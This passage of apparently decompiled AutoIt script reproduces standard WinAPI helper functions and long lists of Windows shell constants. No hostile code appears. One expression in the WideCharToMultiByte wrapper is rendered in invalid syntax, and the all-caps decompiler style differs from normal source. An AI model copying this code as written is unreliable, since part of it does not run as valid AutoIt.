"struct*" , $TGUID , "wstr" , "" , "int" , 40 ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN SETEXTENDED ($ARESULT [0 ] , $ARESULT [2 ] ) ENDFUNC FUNC _WINAPI_SUBLANGID ($ILNGID ) RETURN BITSHIFT ($ILNGID , 10 ) ENDFUNC FUNC _WINAPI_SWAPDWORD ($IVALUE ) LOCAL $TSTRUCT1 = DLLSTRUCTCREATE ("dword;dword" ) LOCAL $TSTRUCT2 = DLLSTRUCTCREATE ("byte[4];byte[4]" , DLLSTRUCTGETPTR ($TSTRUCT1 ) ) DLLSTRUCTSETDATA ($TSTRUCT1 , 1 , $IVALUE ) FOR $I = 1 TO 4 DLLSTRUCTSETDATA ($TSTRUCT2 , 2 , DLLSTRUCTGETDATA ($TSTRUCT2 , 1 , 5 - $I ) , $I ) NEXT RETURN DLLSTRUCTGETDATA ($TSTRUCT1 , 2 ) ENDFUNC FUNC _WINAPI_SWAPQWORD ($IVALUE ) LOCAL $TSTRUCT1 = DLLSTRUCTCREATE ("int64;int64" ) LOCAL $TSTRUCT2 = DLLSTRUCTCREATE ("byte[8];byte[8]" , DLLSTRUCTGETPTR ($TSTRUCT1 ) ) DLLSTRUCTSETDATA ($TSTRUCT1 , 1 , $IVALUE ) FOR $I = 1 TO 8 DLLSTRUCTSETDATA ($TSTRUCT2 , 2 , DLLSTRUCTGETDATA ($TSTRUCT2 , 1 , 9 - $I ) , $I ) NEXT RETURN DLLSTRUCTGETDATA ($TSTRUCT1 , 2 ) ENDFUNC FUNC _WINAPI_SWAPWORD ($IVALUE ) LOCAL $TSTRUCT1 = DLLSTRUCTCREATE ("word;word" ) LOCAL $TSTRUCT2 = DLLSTRUCTCREATE ("byte[2];byte[2]" , DLLSTRUCTGETPTR ($TSTRUCT1 ) ) DLLSTRUCTSETDATA ($TSTRUCT1 , 1 , $IVALUE ) FOR $I = 1 TO 2 DLLSTRUCTSETDATA ($TSTRUCT2 , 2 , DLLSTRUCTGETDATA ($TSTRUCT2 , 1 , 3 - $I ) , $I ) NEXT RETURN DLLSTRUCTGETDATA ($TSTRUCT1 , 2 ) ENDFUNC FUNC _WINAPI_WIDECHARTOMULTIBYTE ($VUNICODE , $ICODEPAGE = 0 , $BRETNOSTRUCT = TRUE , $BRETBINARY = FALSE ) LOCAL $SUNICODETYPE = "wstr" IF NOT ISSTRING ($VUNICODE ) THEN $SUNICODETYPE = "struct*" LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "WideCharToMultiByte" , "uint" , $ICODEPAGE , "dword" , 0 , $SUNICODETYPE , $VUNICODE , "int" , + 4294967295 , "ptr" , 0 , "int" , 0 , "ptr" , 0 , "ptr" , 0 ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" ) LOCAL $TMULTIBYTE = DLLSTRUCTCREATE ((($BRETBINARY ) ("byte" ) ("char" ) ) & "[" & $ARESULT [0 ] & "]" ) $ARESULT = DLLCALL ("kernel32.dll" , "int" , "WideCharToMultiByte" , "uint" , $ICODEPAGE , "dword" , 0 , $SUNICODETYPE , $VUNICODE , "int" , + 4294967295 , "struct*" , $TMULTIBYTE , "int" , $ARESULT [0 ] , "ptr" , 0 , "ptr" , 0 ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) IF $BRETNOSTRUCT THEN RETURN DLLSTRUCTGETDATA ($TMULTIBYTE , 1 ) RETURN $TMULTIBYTE ENDFUNC FUNC _WINAPI_WORDTOSHORT ($IVALUE ) IF BITAND ($IVALUE , 32768 ) THEN RETURN BITOR ($IVALUE , 4294934528 ) ENDIF RETURN BITAND ($IVALUE , 32767 ) ENDFUNC #EndRegion Public Functions #Region Global Variables and Constants #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_ARRAYTOSTRUCT (CONST BYREF $ADATA , $ISTART = 0 , $IEND = + 4294967295 ) IF __CHECKERRORARRAYBOUNDS ($ADATA , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $TAGSTRUCT = "" FOR $I = $ISTART TO $IEND $TAGSTRUCT &= "wchar[" & (STRINGLEN ($ADATA [$I ] ) + 1 ) & "];" NEXT LOCAL $TDATA = DLLSTRUCTCREATE ($TAGSTRUCT & "wchar[1]" ) LOCAL $ICOUNT = 1 FOR $I = $ISTART TO $IEND DLLSTRUCTSETDATA ($TDATA , $ICOUNT , $ADATA [$I ] ) $ICOUNT += 1 NEXT DLLSTRUCTSETDATA ($TDATA , $ICOUNT , CHRW (0 ) ) RETURN $TDATA ENDFUNC FUNC _WINAPI_CREATEMARGINS ($ILEFTWIDTH , $IRIGHTWIDTH , $ITOPHEIGHT , $IBOTTOMHEIGHT ) LOCAL $TMARGINS = DLLSTRUCTCREATE ($TAGMARGINS ) DLLSTRUCTSETDATA ($TMARGINS , 1 , $ILEFTWIDTH ) DLLSTRUCTSETDATA ($TMARGINS , 2 , $IRIGHTWIDTH ) DLLSTRUCTSETDATA ($TMARGINS , 3 , $ITOPHEIGHT ) DLLSTRUCTSETDATA ($TMARGINS , 4 , $IBOTTOMHEIGHT ) RETURN $TMARGINS ENDFUNC FUNC _WINAPI_CREATEPOINT ($IX , $IY ) LOCAL $TPOINT = DLLSTRUCTCREATE ($TAGPOINT ) DLLSTRUCTSETDATA ($TPOINT , 1 , $IX ) DLLSTRUCTSETDATA ($TPOINT , 2 , $IY ) RETURN $TPOINT ENDFUNC FUNC _WINAPI_CREATERECT ($ILEFT , $ITOP , $IRIGHT , $IBOTTOM ) LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT ) DLLSTRUCTSETDATA ($TRECT , 1 , $ILEFT ) DLLSTRUCTSETDATA ($TRECT , 2 , $ITOP ) DLLSTRUCTSETDATA ($TRECT , 3 , $IRIGHT ) DLLSTRUCTSETDATA ($TRECT , 4 , $IBOTTOM ) RETURN $TRECT ENDFUNC FUNC _WINAPI_CREATERECTEX ($IX , $IY , $IWIDTH , $IHEIGHT ) LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT ) DLLSTRUCTSETDATA ($TRECT , 1 , $IX ) DLLSTRUCTSETDATA ($TRECT , 2 , $IY ) DLLSTRUCTSETDATA ($TRECT , 3 , $IX + $IWIDTH ) DLLSTRUCTSETDATA ($TRECT , 4 , $IY + $IHEIGHT ) RETURN $TRECT ENDFUNC FUNC _WINAPI_CREATESIZE ($IWIDTH , $IHEIGHT ) LOCAL $TSIZE = DLLSTRUCTCREATE ($TAGSIZE ) DLLSTRUCTSETDATA ($TSIZE , 1 , $IWIDTH ) DLLSTRUCTSETDATA ($TSIZE , 2 , $IHEIGHT ) RETURN $TSIZE ENDFUNC FUNC _WINAPI_COPYSTRUCT ($TSTRUCT , $SSTRUCT = "" ) LOCAL $ISIZE = DLLSTRUCTGETSIZE ($TSTRUCT ) IF NOT $ISIZE THEN RETURN SETERROR (1 , 0 , 0 ) LOCAL $TRESULT IF NOT STRINGSTRIPWS ($SSTRUCT , $STR_STRIPLEADING + $STR_STRIPTRAILING + $STR_STRIPSPACES ) THEN $TRESULT = DLLSTRUCTCREATE ("byte[" & $ISIZE & "]" ) ELSE $TRESULT = DLLSTRUCTCREATE ($SSTRUCT ) ENDIF IF DLLSTRUCTGETSIZE ($TRESULT ) < $ISIZE THEN RETURN SETERROR (2 , 0 , 0 ) _WINAPI_MOVEMEMORY ($TRESULT , $TSTRUCT , $ISIZE ) RETURN $TRESULT ENDFUNC FUNC _WINAPI_GETEXTENDED () RETURN $__G_VEXT ENDFUNC FUNC _WINAPI_GETMOUSEPOS ($BTOCLIENT = FALSE , $HWND = 0 ) LOCAL $IMODE = OPT ("MouseCoordMode" , 1 ) LOCAL $APOS = MOUSEGETPOS () OPT ("MouseCoordMode" , $IMODE ) LOCAL $TPOINT = DLLSTRUCTCREATE ($TAGPOINT ) DLLSTRUCTSETDATA ($TPOINT , "X" , $APOS [0 ] ) DLLSTRUCTSETDATA ($TPOINT , "Y" , $APOS [1 ] ) IF $BTOCLIENT AND NOT _WINAPI_SCREENTOCLIENT ($HWND , $TPOINT ) THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) RETURN $TPOINT ENDFUNC FUNC _WINAPI_GETMOUSEPOSX ($BTOCLIENT = FALSE , $HWND = 0 ) LOCAL $TPOINT = _WINAPI_GETMOUSEPOS ($BTOCLIENT , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TPOINT , "X" ) ENDFUNC FUNC _WINAPI_GETMOUSEPOSY ($BTOCLIENT = FALSE , $HWND = 0 ) LOCAL $TPOINT = _WINAPI_GETMOUSEPOS ($BTOCLIENT , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TPOINT , "Y" ) ENDFUNC FUNC _WINAPI_MULDIV ($INUMBER , $INUMERATOR , $IDENOMINATOR ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "MulDiv" , "int" , $INUMBER , "int" , $INUMERATOR , "int" , $IDENOMINATOR ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_PLAYSOUND ($SSOUND , $IFLAGS = $SND_SYSTEM_NOSTOP , $HINSTANCE = 0 ) LOCAL $STYPEOFSOUND = "ptr" IF $SSOUND THEN IF ISSTRING ($SSOUND ) THEN $STYPEOFSOUND = "wstr" ENDIF ELSE $SSOUND = 0 $IFLAGS = 0 ENDIF LOCAL $ARET = DLLCALL ("winmm.dll" , "bool" , "PlaySoundW" , $STYPEOFSOUND , $SSOUND , "handle" , $HINSTANCE , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_STRINGLENA (CONST BYREF $TSTRING ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "lstrlenA" , "struct*" , $TSTRING ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_STRINGLENW (CONST BYREF $TSTRING ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "lstrlenW" , "struct*" , $TSTRING ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_STRUCTTOARRAY (BYREF $TSTRUCT , $IITEMS = 0 ) LOCAL $ISIZE = 2 * FLOOR (DLLSTRUCTGETSIZE ($TSTRUCT ) / 2 ) LOCAL $PSTRUCT = DLLSTRUCTGETPTR ($TSTRUCT ) IF NOT $ISIZE OR NOT $PSTRUCT THEN RETURN SETERROR (1 , 0 , 0 ) LOCAL $TDATA , $ILENGTH , $IOFFSET = 0 LOCAL $ARESULT [101 ] = [0 ] WHILE 1 $ILENGTH = _WINAPI_STRLEN ($PSTRUCT + $IOFFSET ) IF NOT $ILENGTH THEN EXITLOOP ENDIF IF 2 * (1 + $ILENGTH ) + $IOFFSET > $ISIZE THEN RETURN SETERROR (3 , 0 , 0 ) $TDATA = DLLSTRUCTCREATE ("wchar[" & (1 + $ILENGTH ) & "]" , $PSTRUCT + $IOFFSET ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , 0 , 0 ) __INC ($ARESULT ) $ARESULT [$ARESULT [0 ] ] = DLLSTRUCTGETDATA ($TDATA , 1 ) IF $ARESULT [0 ] = $IITEMS THEN EXITLOOP ENDIF $IOFFSET += 2 * (1 + $ILENGTH ) IF $IOFFSET >= $ISIZE THEN RETURN SETERROR (3 , 0 , 0 ) WEND IF NOT $ARESULT [0 ] THEN RETURN SETERROR (2 , 0 , 0 ) __INC ($ARESULT , + 4294967295 ) RETURN $ARESULT ENDFUNC FUNC _WINAPI_UNIONSTRUCT ($TSTRUCT1 , $TSTRUCT2 , $SSTRUCT = "" ) LOCAL $ASIZE [2 ] = [DLLSTRUCTGETSIZE ($TSTRUCT1 ) , DLLSTRUCTGETSIZE ($TSTRUCT2 ) ] IF NOT $ASIZE [0 ] OR NOT $ASIZE [1 ] THEN RETURN SETERROR (1 , 0 , 0 ) LOCAL $TRESULT IF NOT STRINGSTRIPWS ($SSTRUCT , $STR_STRIPLEADING + $STR_STRIPTRAILING + $STR_STRIPSPACES ) THEN $TRESULT = DLLSTRUCTCREATE ("byte[" & ($ASIZE [0 ] + $ASIZE [1 ] ) & "]" ) ELSE $TRESULT = DLLSTRUCTCREATE ($SSTRUCT ) ENDIF IF DLLSTRUCTGETSIZE ($TRESULT ) < ($ASIZE [0 ] + $ASIZE [1 ] ) THEN RETURN SETERROR (2 , 0 , 0 ) _WINAPI_MOVEMEMORY ($TRESULT , $TSTRUCT1 , $ASIZE [0 ] ) _WINAPI_MOVEMEMORY (DLLSTRUCTGETPTR ($TRESULT ) + $ASIZE [0 ] , $TSTRUCT2 , $ASIZE [1 ] ) RETURN $TRESULT ENDFUNC #EndRegion Public Functions GLOBAL CONST $DLLVER_PLATFORM_WINDOWS = 1 GLOBAL CONST $DLLVER_PLATFORM_NT = 2 GLOBAL CONST $SHCNE_ALLEVENTS = 2147483647 GLOBAL CONST $SHCNE_ASSOCCHANGED = 134217728 GLOBAL CONST $SHCNE_ATTRIBUTES = 2048 GLOBAL CONST $SHCNE_CREATE = 2 GLOBAL CONST $SHCNE_DELETE = 4 GLOBAL CONST $SHCNE_DRIVEADD = 256 GLOBAL CONST $SHCNE_DRIVEADDGUI = 65536 GLOBAL CONST $SHCNE_DRIVEREMOVED = 128 GLOBAL CONST $SHCNE_EXTENDED_EVENT = 67108864 GLOBAL CONST $SHCNE_FREESPACE = 262144 GLOBAL CONST $SHCNE_MEDIAINSERTED = 32 GLOBAL CONST $SHCNE_MEDIAREMOVED = 64 GLOBAL CONST $SHCNE_MKDIR = 8 GLOBAL CONST $SHCNE_NETSHARE = 512 GLOBAL CONST $SHCNE_NETUNSHARE = 1024 GLOBAL CONST $SHCNE_RENAMEFOLDER = 131072 GLOBAL CONST $SHCNE_RENAMEITEM = 1 GLOBAL CONST $SHCNE_RMDIR = 16 GLOBAL CONST $SHCNE_SERVERDISCONNECT = 16384 GLOBAL CONST $SHCNE_UPDATEDIR = 4096 GLOBAL CONST $SHCNE_UPDATEIMAGE = 32768 GLOBAL CONST $SHCNE_UPDATEITEM = 8192 GLOBAL CONST $SHCNE_DISKEVENTS = 145439 GLOBAL CONST $SHCNE_GLOBALEVENTS = 201687520 GLOBAL CONST $SHCNE_INTERRUPT = 2147483648 GLOBAL CONST $SHCNF_DWORD = 3 GLOBAL CONST $SHCNF_IDLIST = 0 GLOBAL CONST $SHCNF_PATH = 1 GLOBAL CONST $SHCNF_PRINTER = 2 GLOBAL CONST $SHCNF_FLUSH = 4096 GLOBAL CONST $SHCNF_FLUSHNOWAIT = 8192 GLOBAL CONST $SHCNF_NOTIFYRECURSIVE = 65536 GLOBAL CONST $SHCNRF_INTERRUPTLEVEL = 1 GLOBAL CONST $SHCNRF_SHELLLEVEL = 2 GLOBAL CONST $SHCNRF_RECURSIVEINTERRUPT = 4096 GLOBAL CONST $SHCNRF_NEWDELIVERY = 32768 GLOBAL CONST $SHERB_NOCONFIRMATION = 1 GLOBAL CONST $SHERB_NOPROGRESSUI = 2 GLOBAL CONST $SHERB_NOSOUND = 4 GLOBAL CONST $SHERB_NO_UI = BITOR ($SHERB_NOCONFIRMATION , $SHERB_NOPROGRESSUI , $SHERB_NOSOUND ) GLOBAL CONST $SEE_MASK_DEFAULT = 0 GLOBAL CONST $SEE_MASK_CLASSNAME = 1 GLOBAL CONST $SEE_MASK_CLASSKEY = 3 GLOBAL CONST $SEE_MASK_IDLIST = 4 GLOBAL CONST $SEE_MASK_INVOKEIDLIST = 12 GLOBAL CONST $SEE_MASK_ICON = 16 GLOBAL CONST $SEE_MASK_HOTKEY = 32 GLOBAL CONST $SEE_MASK_NOCLOSEPROCESS = 64 GLOBAL CONST $SEE_MASK_CONNECTNETDRV = 128 GLOBAL CONST $SEE_MASK_NOASYNC = 256 GLOBAL CONST $SEE_MASK_FLAG_DDEWAIT = $SEE_MASK_NOASYNC GLOBAL CONST $SEE_MASK_DOENVSUBST = 512 GLOBAL CONST $SEE_MASK_FLAG_NO_UI = 1024 GLOBAL CONST $SEE_MASK_UNICODE = 16384 GLOBAL CONST $SEE_MASK_NO_CONSOLE = 32768 GLOBAL CONST $SEE_MASK_ASYNCOK = 1048576 GLOBAL CONST $SEE_MASK_NOQUERYCLASSSTORE = 16777216 GLOBAL CONST $SEE_MASK_HMONITOR = 2097152 GLOBAL CONST $SEE_MASK_NOZONECHECKS = 8388608 GLOBAL CONST $SEE_MASK_WAITFORINPUTIDLE = 33554432 GLOBAL CONST $SEE_MASK_FLAG_LOG_USAGE = 67108864 GLOBAL CONST $SE_ERR_ACCESSDENIED = 5 GLOBAL CONST $SE_ERR_ASSOCINCOMPLETE = 27 GLOBAL CONST $SE_ERR_DDEBUSY = 30 GLOBAL CONST $SE_ERR_DDEFAIL = 29 GLOBAL CONST $SE_ERR_DDETIMEOUT = 28 GLOBAL CONST $SE_ERR_DLLNOTFOUND = 32 GLOBAL CONST $SE_ERR_FNF = 2 GLOBAL CONST $SE_ERR_NOASSOC = 31 GLOBAL CONST $SE_ERR_OOM = 8 GLOBAL CONST $SE_ERR_PNF = 3 GLOBAL CONST $SE_ERR_SHARE = 26 GLOBAL CONST $FO_COPY = 2 GLOBAL CONST $FO_DELETE = 3 GLOBAL CONST $FO_MOVE = 1 GLOBAL CONST $FO_RENAME = 4 GLOBAL CONST $FOF_ALLOWUNDO = 64 GLOBAL CONST $FOF_CONFIRMMOUSE = 2 GLOBAL CONST $FOF_FILESONLY = 128 GLOBAL CONST $FOF_MULTIDESTFILES = 1 GLOBAL CONST $FOF_NOCONFIRMATION = 16 GLOBAL CONST $FOF_NOCONFIRMMKDIR = 512 GLOBAL CONST $FOF_NO_CONNECTED_ELEMENTS = 8192 GLOBAL CONST $FOF_NOCOPYSECURITYATTRIBS = 2048 GLOBAL CONST $FOF_NOERRORUI = 1024 GLOBAL CONST $FOF_NORECURSEREPARSE = 32768 GLOBAL CONST $FOF_NORECURSION = 4096 GLOBAL CONST $FOF_RENAMEONCOLLISION = 8 GLOBAL CONST $FOF_SILENT = 4 GLOBAL CONST $FOF_SIMPLEPROGRESS = 256 GLOBAL CONST $FOF_WANTMAPPINGHANDLE = 32 GLOBAL CONST $FOF_WANTNUKEWARNING = 16384 GLOBAL CONST $FOF_NO_UI = BITOR ($FOF_NOCONFIRMATION , $FOF_NOCONFIRMMKDIR , $FOF_NOERRORUI , $FOF_SILENT ) GLOBAL CONST $SHGFI_ADDOVERLAYS = 32 GLOBAL CONST $SHGFI_ATTR_SPECIFIED = 131072 GLOBAL CONST $SHGFI_ATTRIBUTES = 2048 GLOBAL CONST $SHGFI_DISPLAYNAME = 512 GLOBAL CONST $SHGFI_EXETYPE = 8192 GLOBAL CONST $SHGFI_ICON = 256 GLOBAL CONST $SHGFI_ICONLOCATION = 4096 GLOBAL CONST $SHGFI_LARGEICON = 0 GLOBAL CONST $SHGFI_LINKOVERLAY = 32768 GLOBAL CONST $SHGFI_OPENICON = 2 GLOBAL CONST $SHGFI_OVERLAYINDEX = 64 GLOBAL CONST $SHGFI_PIDL = 8 GLOBAL CONST $SHGFI_SELECTED = 65536 GLOBAL CONST $SHGFI_SHELLICONSIZE = 4 GLOBAL CONST $SHGFI_SMALLICON = 1 GLOBAL CONST $SHGFI_SYSICONINDEX = 16384 GLOBAL CONST $SHGFI_TYPENAME = 1024 GLOBAL CONST $SHGFI_USEFILEATTRIBUTES = 16 GLOBAL CONST $SFGAO_CANCOPY = 1 GLOBAL CONST $SFGAO_CANMOVE = 2 GLOBAL CONST $SFGAO_CANLINK = 4 GLOBAL CONST $SFGAO_STORAGE = 8 GLOBAL CONST $SFGAO_CANRENAME = 16 GLOBAL CONST $SFGAO_CANDELETE = 32 GLOBAL CONST $SFGAO_HASPROPSHEET = 64 GLOBAL CONST $SFGAO_DROPTARGET = 256 GLOBAL CONST $SFGAO_CAPABILITYMASK = BITOR ($SFGAO_CANCOPY , $SFGAO_CANMOVE , $SFGAO_CANLINK , $SFGAO_CANRENAME , $SFGAO_CANDELETE , $SFGAO_HASPROPSHEET , $SFGAO_DROPTARGET ) GLOBAL CONST $SFGAO_SYSTEM = 4096 GLOBAL CONST $SFGAO_ENCRYPTED = 8192 GLOBAL CONST $SFGAO_ISSLOW = 16384 GLOBAL CONST $SFGAO_GHOSTED = 32768 GLOBAL CONST $SFGAO_LINK = 65536 GLOBAL CONST $SFGAO_SHARE = 131072 GLOBAL CONST $SFGAO_READONLY = 262144 GLOBAL CONST $SFGAO_HIDDEN = 524288 GLOBAL CONST $SFGAO_DISPLAYATTRMASK = BITOR ($SFGAO_ISSLOW , $SFGAO_GHOSTED , $SFGAO_LINK , $SFGAO_SHARE , $SFGAO_READONLY , $SFGAO_HIDDEN ) GLOBAL CONST $SFGAO_NONENUMERATED = 1048576 GLOBAL CONST $SFGAO_NEWCONTENT = 2097152 GLOBAL CONST $SFGAO_STREAM = 4194304 GLOBAL CONST $SFGAO_STORAGEANCESTOR = 8388608 GLOBAL CONST $SFGAO_VALIDATE = 16777216 GLOBAL CONST $SFGAO_REMOVABLE = 33554432 GLOBAL CONST $SFGAO_COMPRESSED = 67108864 GLOBAL CONST $SFGAO_BROWSABLE = 134217728 GLOBAL CONST $SFGAO_FILESYSANCESTOR = 268435456 GLOBAL CONST $SFGAO_FOLDER = 536870912 GLOBAL CONST $SFGAO_FILESYSTEM = 1073741824 GLOBAL CONST $SFGAO_STORAGECAPMASK = BITOR ($SFGAO_STORAGE , $SFGAO_LINK , $SFGAO_READONLY , $SFGAO_STREAM , $SFGAO_STORAGEANCESTOR , $SFGAO_FILESYSANCESTOR , $SFGAO_FOLDER , $SFGAO_FILESYSTEM ) GLOBAL CONST $SFGAO_HASSUBFOLDER = 2147483648 GLOBAL CONST $SFGAO_CONTENTSMASK = $SFGAO_HASSUBFOLDER GLOBAL CONST $SFGAO_PKEYSFGAOMASK = BITOR ($SFGAO_ISSLOW , $SFGAO_READONLY , $SFGAO_HASSUBFOLDER , $SFGAO_VALIDATE ) GLOBAL CONST $IDO_SHGIOI_DEFAULT = 268435452 GLOBAL CONST $IDO_SHGIOI_LINK = 268435454 GLOBAL CONST $IDO_SHGIOI_SHARE = 268435455 GLOBAL CONST $IDO_SHGIOI_SLOWFILE = 268435453 GLOBAL CONST $FCSM_VIEWID = 1 GLOBAL CONST $FCSM_WEBVIEWTEMPLATE = 2 GLOBAL CONST $FCSM_INFOTIP = 4 GLOBAL CONST $FCSM_CLSID = 8 GLOBAL CONST $FCSM_ICONFILE = 16 GLOBAL CONST $FCSM_LOGO = 32 GLOBAL CONST $FCSM_FLAGS = 64 GLOBAL CONST $FCS_READ = 1 GLOBAL CONST $FCS_FORCEWRITE = 2 GLOBAL CONST $FCS_WRITE = BITOR ($FCS_READ , $FCS_FORCEWRITE ) GLOBAL CONST $SSF_AUTOCHECKSELECT = 8388608 GLOBAL CONST $SSF_DESKTOPHTML = 512 GLOBAL CONST $SSF_DONTPRETTYPATH = 2048 GLOBAL CONST $SSF_DOUBLECLICKINWEBVIEW = 128 GLOBAL CONST $SSF_HIDEICONS = 16384 GLOBAL CONST $SSF_ICONSONLY = 16777216 GLOBAL CONST $SSF_MAPNETDRVBUTTON = 4096 GLOBAL CONST $SSF_NOCONFIRMRECYCLE = 32768 GLOBAL CONST $SSF_NONETCRAWLING = 1048576 GLOBAL CONST $SSF_SEPPROCESS = 524288 GLOBAL CONST $SSF_SHOWALLOBJECTS = 1 GLOBAL CONST $SSF_SHOWCOMPCOLOR = 8 GLOBAL CONST $SSF_SHOWEXTENSIONS = 2 GLOBAL CONST $SSF_SHOWINFOTIP = 8192 GLOBAL CONST $SSF_SHOWSUPERHIDDEN = 262144 GLOBAL CONST $SSF_SHOWSYSFILES = 32 GLOBAL CONST $SSF_SHOWTYPEOVERLAY = 33554432 GLOBAL CONST $SSF_STARTPANELON = 2097152 GLOBAL CONST $SSF_WIN95CLASSIC = 1024 GLOBAL CONST $SSF_WEBVIEW = 131072 GLOBAL CONST $CSIDL_ADMINTOOLS = 48 GLOBAL CONST $CSIDL_ALTSTARTUP = 29 GLOBAL CONST $CSIDL_APPDATA = 26 GLOBAL CONST $CSIDL_BITBUCKET = 10 GLOBAL CONST $CSIDL_CDBURN_AREA = 59 GLOBAL CONST $CSIDL_COMMON_ADMINTOOLS = 47 GLOBAL CONST $CSIDL_COMMON_ALTSTARTUP = 30 GLOBAL CONST $CSIDL_COMMON_APPDATA = 35 GLOBAL CONST $CSIDL_COMMON_DESKTOPDIRECTORY = 25 GLOBAL CONST $CSIDL_COMMON_DOCUMENTS = 46 GLOBAL CONST $CSIDL_COMMON_FAVORITES = 31 GLOBAL CONST $CSIDL_COMMON_MUSIC = 53 GLOBAL CONST $CSIDL_COMMON_PICTURES = 54 GLOBAL CONST $CSIDL_COMMON_PROGRAMS = 23 GLOBAL CONST $CSIDL_COMMON_STARTMENU = 22 GLOBAL CONST $CSIDL_COMMON_STARTUP = 24 GLOBAL CONST $CSIDL_COMMON_TEMPLATES = 45 GLOBAL CONST $CSIDL_COMMON_VIDEO = 55 GLOBAL CONST $CSIDL_COMPUTERSNEARME = 61 GLOBAL CONST $CSIDL_CONNECTIONS = 49 GLOBAL CONST $CSIDL_CONTROLS = 3 GLOBAL CONST $CSIDL_COOKIES = 33 GLOBAL CONST $CSIDL_DESKTOP = 0 GLOBAL CONST $CSIDL_DESKTOPDIRECTORY = 16 GLOBAL CONST $CSIDL_DRIVES = 17 GLOBAL CONST $CSIDL_FAVORITES = 6 GLOBAL CONST $CSIDL_FONTS = 20 GLOBAL CONST $CSIDL_INTERNET_CACHE = 32 GLOBAL CONST $CSIDL_HISTORY = 34 GLOBAL CONST $CSIDL_LOCAL_APPDATA = 28 GLOBAL CONST $CSIDL_MYMUSIC = 13 GLOBAL CONST $CSIDL_MYPICTURES = 39 GLOBAL CONST $CSIDL_MYVIDEO = 14 GLOBAL CONST $CSIDL_NETHOOD = 19 GLOBAL CONST $CSIDL_PERSONAL = 5 GLOBAL CONST $CSIDL_PRINTERS = 4 GLOBAL CONST $CSIDL_PRINTHOOD = 27 GLOBAL CONST $CSIDL_PROFILE = 40 GLOBAL CONST $CSIDL_PROGRAM_FILES = 38 GLOBAL CONST $CSIDL_PROGRAM_FILES_COMMON = 43 GLOBAL CONST $CSIDL_PROGRAM_FILES_COMMONX86 = 44 GLOBAL CONST $CSIDL_PROGRAM_FILESX86 = 42 GLOBAL CONST $CSIDL_PROGRAMS = 2 GLOBAL CONST $CSIDL_RECENT = 8 GLOBAL CONST $CSIDL_SENDTO = 9 GLOBAL CONST $CSIDL_STARTMENU = 11 GLOBAL CONST $CSIDL_STARTUP = 7 GLOBAL CONST $CSIDL_SYSTEM = 37 GLOBAL CONST $CSIDL_SYSTEMX86 = 41 GLOBAL CONST $CSIDL_TEMPLATES = 21 GLOBAL CONST $CSIDL_WINDOWS = 36 GLOBAL CONST $SIID_DOCNOASSOC = 0 GLOBAL CONST $SIID_DOCASSOC = 1 GLOBAL CONST $SIID_APPLICATION = 2 GLOBAL CONST $SIID_FOLDER = 3 GLOBAL CONST $SIID_FOLDEROPEN = 4 GLOBAL CONST $SIID_DRIVE525 = 5 GLOBAL CONST $SIID_DRIVE35 = 6 GLOBAL CONST $SIID_DRIVEREMOVE = 7 GLOBAL CONST $SIID_DRIVEFIXED = 8 GLOBAL CONST $SIID_DRIVENET = 9 GLOBAL CONST $SIID_DRIVENETDISABLED = 10 GLOBAL CONST $SIID_DRIVECD = 11 GLOBAL CONST $SIID_DRIVERAM = 12 GLOBAL CONST $SIID_WORLD = 13 GLOBAL CONST $SIID_SERVER = 15 GLOBAL CONST $SIID_PRINTER = 16 GLOBAL CONST $SIID_MYNETWORK = 17 GLOBAL CONST $SIID_FIND = 22 GLOBAL CONST $SIID_HELP = 23 GLOBAL CONST $SIID_SHARE = 28 GLOBAL CONST $SIID_LINK = 29 GLOBAL CONST $SIID_SLOWFILE = 30 GLOBAL CONST $SIID_RECYCLER = 31 GLOBAL CONST $SIID_RECYCLERFULL = 32 GLOBAL CONST $SIID_MEDIACDAUDIO = 40 GLOBAL CONST $SIID_LOCK = 47 GLOBAL CONST $SIID_AUTOLIST = 49 GLOBAL CONST $SIID_PRINTERNET = 50 GLOBAL CONST $SIID_SERVERSHARE = 51 GLOBAL CONST $SIID_PRINTERFAX = 52 GLOBAL CONST $SIID_PRINTERFAXNET = 53 GLOBAL CONST $SIID_PRINTERFILE = 54 GLOBAL CONST $SIID_STACK = 55 GLOBAL CONST $SIID_MEDIASVCD = 56 GLOBAL CONST $SIID_STUFFEDFOLDER = 57 GLOBAL CONST $SIID_DRIVEUNKNOWN = 58 GLOBAL CONST $SIID_DRIVEDVD = 59 GLOBAL CONST $SIID_MEDIADVD = 60 GLOBAL CONST $SIID_MEDIADVDRAM = 61 GLOBAL CONST $SIID_MEDIADVDRW = 62 GLOBAL CONST $SIID_MEDIADVDR = 63 GLOBAL CONST $SIID_MEDIADVDROM = 64 GLOBAL CONST $SIID_MEDIACDAUDIOPLUS = 65 GLOBAL CONST $SIID_MEDIACDRW = 66 GLOBAL CONST $SIID_MEDIACDR = 67 